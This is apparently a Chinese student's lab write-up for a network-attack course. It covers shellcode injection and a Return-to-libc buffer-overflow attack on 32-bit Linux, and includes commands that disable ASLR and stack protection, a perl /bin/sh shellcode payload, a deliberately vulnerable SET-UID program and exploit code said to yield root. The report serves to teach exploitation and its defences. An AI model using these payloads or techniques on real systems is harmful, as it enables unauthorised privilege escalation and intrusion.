• 20145302张薇《网络对抗技术》PC平台逆向破解


    20145302张薇《网络对抗技术》PC平台逆向破解

    实验任务

    1.简单shellcode注入实验

    2.Return-to-libc 攻击实验

    实验相关原理

    Bof攻击防御技术

    • 从防止注入的角度来看:在编译时,编译器在每次函数调用前后都加入一定的代码,用来设置和检测堆栈上设置的特定数字,以确认是否有bof攻击发生。
    • 如GCC中的编译器有堆栈保护技术,参考链接:http://www.ibm.com/developerworks/cn/linux/l-cn-gccstack/index.html
    • 从被注入后也不能运行的角度看:结合CPU的页面管理机制,通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上,也执行不了。
    • 由于这些限制,所以我们在进行简单shellcode注入实验时需要设置环境,从而关闭这些保护。

    Linux下内存地址随机化

    /proc/sys/kernel/randomize_va_space用于控制Linux下内存地址随机化机制(address space layout randomization),有以下三种情况
    
    0 - 表示关闭进程地址空间随机化。
    1 - 表示将mmap的基址,stack和vdso页面随机化。
    2 - 表示在1的基础上增加栈(heap)的随机化。
    
    

    简单shellcode注入实验步骤

    1.准备获取shellcode的C语言代码

    • 与此同时我们下载了execstack程序以便接下来可以设置易于攻击的环境
      2.配置环境
    • execstack -s pwn5302命令来将堆栈设为可执行状态
    • execstack -q pwn5302命令来查看文件pwn5302的堆栈是否是可执行状态
    • more /proc/sys/kernel/randomize_va_space命令来查看地址随机化的状态
    • echo "0" > /proc/sys/kernel/randomize_va_space命令来关闭地址随机化

    3.构造要注入的payload

    • 利用anything+retaddr+nops+shellcode的结构来构造,在终端输入perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode,并运行程序

    4.打开另一个新的终端,先利用ps -ef | grep pwn5302查看pwn5302的进程号,随后在该终端下进入gdb调试模式

    • 由上图知,pwn5302的进程号为2076
    • gdb调试

    • 得到结束的地址:0x080484ae
    • 打开原先的终端,敲一下回车,就会出现一段乱码

    • 再次打开新的终端,在gdb中设置断点,并寻找注入的buf的地址

    • 01020304的位置就是返回地址的位置,即0xffffd33c
    • shellcode的地址紧挨返回地址,加上四个字节后地址为0xffffd340

    5.获得shellcode的地址后,再次返回先前的终端,先用exit命令退出该步骤,随后修改input_shellcoded的值为perl -e 'print "A" x 32;print "x40xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

    • 修改后可以利用xxd命令查看是否修改成功
    • 发送这段数据,即成功获得权限

    Return-to-libc 攻击实验

    本实验在栈不可执行的模式下进行
    1.环境配置

    • 输入如下指令,创建32位C语言可编译的环境

      • sudo apt-get update
      • sudo apt-get install lib32z1 libc6-dev-i386

    • 输入命令linux32进入32位linux操作环境

    • 使用/bin/bash命令进入bash

    2.关闭地址随机化

    • sudo sysctl -w kernel.randomize_va_space=0
    • 为了不让/bin/bash的防护程序起作用(为了防止shell攻击,程序被调用时会自动弃权),我们使用zsh来代替:
    sudo su
    cd /bin
    rm sh
    ln -s zsh sh
    exit
    
    

    3.在tmp文件夹下创建“retlib.c”文件,并编译设置SET-UID

    
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    int bof(FILE *badfile)
    {
    char buffer[12];
    fread(buffer, sizeof(char), 40, badfile);
    return 1;
    }
    int main(int argc, char **argv)
    {
    FILE *badfile;
    badfile = fopen("badfile", "r");
    bof(badfile);
    printf("Returned Properly
    ");
    fclose(badfile);
    return 1;
    }
    
    
    • 此程序有一个缓冲区溢出漏洞:该程序读取badfile文件,将40字节的数据读取到只有12字节大小的buffer,而fread函数不检查边界导致溢出。
    
    sudo su
    gcc -m32 -g -z noexecstack -fno-stack-protector -o retlib retlib.c
    chmod u+s retlib
    exit
    
    

    4.在tmp文件夹下准备“getenvaddr.c”文件用于读取环境变量,并编译

    
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    int main(int argc, char const *argv[])
    {
     char *ptr;
     if(argc < 3){
    printf("Usage: %s <environment var> <target program name>
    ", argv[0]);
    exit(0);
    }
     ptr = getenv(argv[1]);
     ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
     printf("%s will be at %p
    ", argv[1], ptr);
     return 0;
    }
    
    
    • gcc -m32 -o getenvaddr getenvaddr.c

    4.在tmp文件夹下准备“exploit.c”文件用于攻击

    
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    int main(int argc, char **argv)
    {
     char buf[40];
     FILE *badfile;
     badfile = fopen(".//badfile", "w");
     strcpy(buf, "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90");// nop 24 times
     *(long *) &buf[32] =0x11111111; // "//bin//sh"
     *(long *) &buf[24] =0x22222222; // system()
     *(long *) &buf[36] =0x33333333; // exit()
     fwrite(buf, sizeof(buf), 1, badfile);
     fclose(badfile);
    }
    /*
    代码中“0x11111111”、“0x22222222”、“0x33333333”分别代表 BIN_SH、system、exit 的地址,需要我们接下来获取。
    */
    
    

    5.获取地址

    • 获取BIN_SH地址

      • export BIN_SH=“/bin/sh”
      • echo $BIN_SH
      • ./gentenaddvr BIN_SH ./retlib
    • 进入gdb设置断点,调试运行获取system和exit的地址

      • gdb -q ./exploit
      • list
      • b 9
      • run
    • 获取system地址

      • p system
    • 获取exit地址

      • p exit

    6.通过上述获取的地址,修改入exploit.c文件,并删除之前生成的exploit和badfile文件,再次编译,运行exploit之后再运行retlib文件即可获得root权限,攻击成功

    实验感想

    • 对于简单的shellcode攻击实验来说,地址随机化是一个难题
    • 相对于第一个shellcode注入的实验来说return to libc实验在更困难一点的情况下进行,即:使栈不可执行,这时候我们不能只是简单的发送数据让程序溢出,得准备查看环境和攻击的代码,这需要我们对电脑地址的存储有更深的了解。
  • 相关阅读:
    使用淘宝Str2varlist与str2numlist 代替 in/exist ,提升性能(Oracle)
    由浅入深理解索引的实现
    你知道数据库索引的工作原理吗?
    深入理解数据库磁盘存储(Disk Storage)
    如何解析oracle执行计划
    Beyond Compare 4 最新中文版 注册码 key
    并发和并行的区别
    代码复用的规则
    Some Java exceptions, messages and errors.
    菜鸟学SSH(十六)——Struts2内部是如何工作的
  • 原文地址:https://www.cnblogs.com/5302v/p/6535747.html
Copyright © 2020-2023  润新知